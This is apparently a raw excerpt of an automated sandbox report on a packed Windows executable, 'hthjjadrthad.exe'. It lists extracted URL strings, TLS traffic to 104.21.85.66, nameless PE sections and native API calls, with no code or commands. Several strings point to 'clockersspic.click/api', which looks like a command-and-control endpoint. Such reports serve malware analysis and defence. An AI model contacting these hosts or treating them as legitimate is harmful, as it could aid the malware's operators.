Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: hthjjadrthad.exe, 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: hthjjadrthad.exe, 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/
Source: hthjjadrthad.exe, 00000000.00000003.2186755989.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187608023.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/6
Source: hthjjadrthad.exe, 00000000.00000003.2186755989.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187608023.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/F
Source: hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/api
Source: hthjjadrthad.exe, 00000000.00000003.2048083097.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/api1
Source: hthjjadrthad.exe, 00000000.00000002.2187586723.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/apiD
Source: hthjjadrthad.exe, 00000000.00000003.2152839456.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2152911362.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187586723.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/apiZ
Source: hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186567782.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186728190.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186693933.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187503260.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/apig
Source: hthjjadrthad.exe, 00000000.00000003.2152839456.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2152911362.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186755989.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187608023.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/f
Source: hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click/p
Source: hthjjadrthad.exe, 00000000.00000003.2152839456.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2152911362.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clockersspic.click:443/api
Source: hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: hthjjadrthad.exe, 00000000.00000003.2075351469.0000000003D0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: hthjjadrthad.exe, 00000000.00000003.2049689674.0000000003CBB000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049738630.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2049807484.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: hthjjadrthad.exe, 00000000.00000003.2075087120.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49720 version: TLS 1.2

System Summary

PE file has nameless sections

Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A650 NtSetInformationFile,	0_2_0054A650
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A634 NtClose,	0_2_0054A634
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A6B8 NtReadFile,	0_2_0054A6B8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A710 NtCreateFile,	0_2_0054A710
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A7F0 NtProtectVirtualMemory,	0_2_0054A7F0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A070 NtEnumerateKey,	0_2_0054A070
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A028 NtCreateKey,	0_2_0054A028
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A0B0 NtSetValueKey,	0_2_0054A0B0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A1E0 NtQueryMultipleValueKey,	0_2_0054A1E0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A180 NtNotifyChangeKey,	0_2_0054A180
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A27C NtSetInformationKey,	0_2_0054A27C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A2C4 NtTerminateProcess,	0_2_0054A2C4
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A2E0 NtWriteFile,	0_2_0054A2E0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A36C NtQueryDirectoryFile,	0_2_0054A36C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A338 NtQueryObject,	0_2_0054A338
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A3F4 NtDuplicateObject,	0_2_0054A3F4
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A43C NtQueryVolumeInformationFile,	0_2_0054A43C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A4EC NtUnlockFile,	0_2_0054A4EC
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A48C NtLockFile,	0_2_0054A48C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A558 NtQuerySection,	0_2_0054A558
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A53C NtUnmapViewOfSection,	0_2_0054A53C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A5EC NtCreateSection,	0_2_0054A5EC
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A58C NtMapViewOfSection,	0_2_0054A58C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A684 NtQueryInformationFile,	0_2_0054A684
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0054A778 NtOpenFile,	0_2_0054A778
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549B50 NtDeviceIoControlFile,	0_2_00549B50
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549BE4 NtCreateThread,	0_2_00549BE4
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549BB0 NtQueryInformationProcess,	0_2_00549BB0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549C50 NtCreateProcess,	0_2_00549C50
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549CF8 NtCreateUserProcess,	0_2_00549CF8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549CA0 NtCreateProcessEx,	0_2_00549CA0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549D60 NtOpenKeyEx,	0_2_00549D60
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549DE0 NtQuerySecurityObject,	0_2_00549DE0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549D8C NtSetVolumeInformationFile,	0_2_00549D8C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549E6C NtFsControlFile,	0_2_00549E6C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549E14 NtNotifyChangeDirectoryFile,	0_2_00549E14
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549F54 NtOpenKey,	0_2_00549F54
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549F74 NtEnumerateValueKey,	0_2_00549F74
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549F04 NtAccessCheck,	0_2_00549F04
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549FE8 NtQueryValueKey,	0_2_00549FE8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00549FB4 NtQueryKey,	0_2_00549FB4

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: 0_2_005A8CA4: CreateFileA,DeviceIoControl,

0_2_005A8CA4

Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C20A0	0_2_004C20A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C0400	0_2_004C0400
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004DC430	0_2_004DC430
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A87A0	0_2_004A87A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004D4AB0	0_2_004D4AB0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C4B40	0_2_004C4B40
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A95A0	0_2_004A95A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004DB770	0_2_004DB770
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004D79A0	0_2_004D79A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B5A41	0_2_004B5A41
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004DBB40	0_2_004DBB40
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004ABB9A	0_2_004ABB9A
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C4000	0_2_004C4000
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A6160	0_2_004A6160
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C611F	0_2_004C611F
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004DC120	0_2_004DC120
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A8260	0_2_004A8260
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A8264	0_2_005A8264
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004D4200	0_2_004D4200
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BC220	0_2_004BC220
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A42E0	0_2_004A42E0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004D82A0	0_2_004D82A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C4320	0_2_004C4320
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005F0434	0_2_005F0434
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B4550	0_2_004B4550
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BA500	0_2_004BA500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A65F0	0_2_004A65F0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A8600	0_2_005A8600
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BE7E0	0_2_004BE7E0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C2780	0_2_004C2780
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005F680C	0_2_005F680C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0057682C	0_2_0057682C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004AA8D0	0_2_004AA8D0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005FA8C4	0_2_005FA8C4
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004DA960	0_2_004DA960
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A89C0	0_2_004A89C0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C29F0	0_2_004C29F0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A8A40	0_2_005A8A40
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005C8A04	0_2_005C8A04
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BCA10	0_2_004BCA10
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C2B51	0_2_004C2B51
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004ACBF0	0_2_004ACBF0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A2B90	0_2_004A2B90
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0055ABB0	0_2_0055ABB0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00602C38	0_2_00602C38
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A4C10	0_2_004A4C10
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00564C0C	0_2_00564C0C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B8CC2	0_2_004B8CC2
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004DACE0	0_2_004DACE0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005FCD68	0_2_005FCD68
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BCD70	0_2_004BCD70
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005EEE4C	0_2_005EEE4C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A8F10	0_2_004A8F10
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B6F27	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A2F30	0_2_004A2F30
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004AEFD0	0_2_004AEFD0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00532FF0	0_2_00532FF0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005DCFF0	0_2_005DCFF0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C4F90	0_2_004C4F90
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005F905C	0_2_005F905C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00601048	0_2_00601048
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005FD01C	0_2_005FD01C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C1080	0_2_004C1080
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005F713C	0_2_005F713C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A9180	0_2_004A9180
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B5180	0_2_004B5180
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BD180	0_2_004BD180
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A73D0	0_2_004A73D0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004AB455	0_2_004AB455
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BD4C0	0_2_004BD4C0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005C3498	0_2_005C3498
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B154E	0_2_004B154E
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B9500	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B75F2	0_2_004B75F2
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004D55F0	0_2_004D55F0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BD6B0	0_2_004BD6B0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B5753	0_2_004B5753
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C1723	0_2_004C1723
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004B780A	0_2_004B780A
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BB830	0_2_004BB830
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005E3958	0_2_005E3958
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0053D97C	0_2_0053D97C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A5900	0_2_004A5900
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A3930	0_2_004A3930
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005CBA18	0_2_005CBA18
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A5AC8	0_2_005A5AC8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005C7AC8	0_2_005C7AC8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C5AD0	0_2_004C5AD0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00585C28	0_2_00585C28
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004C5D06	0_2_004C5D06
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004A5DC0	0_2_004A5DC0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A5D94	0_2_005A5D94
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004BBE77	0_2_004BBE77
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004DBE00	0_2_004DBE00
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004D7E80	0_2_004D7E80
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005E3E80	0_2_005E3E80
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005CFEB0	0_2_005CFEB0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005CBF48	0_2_005CBF48
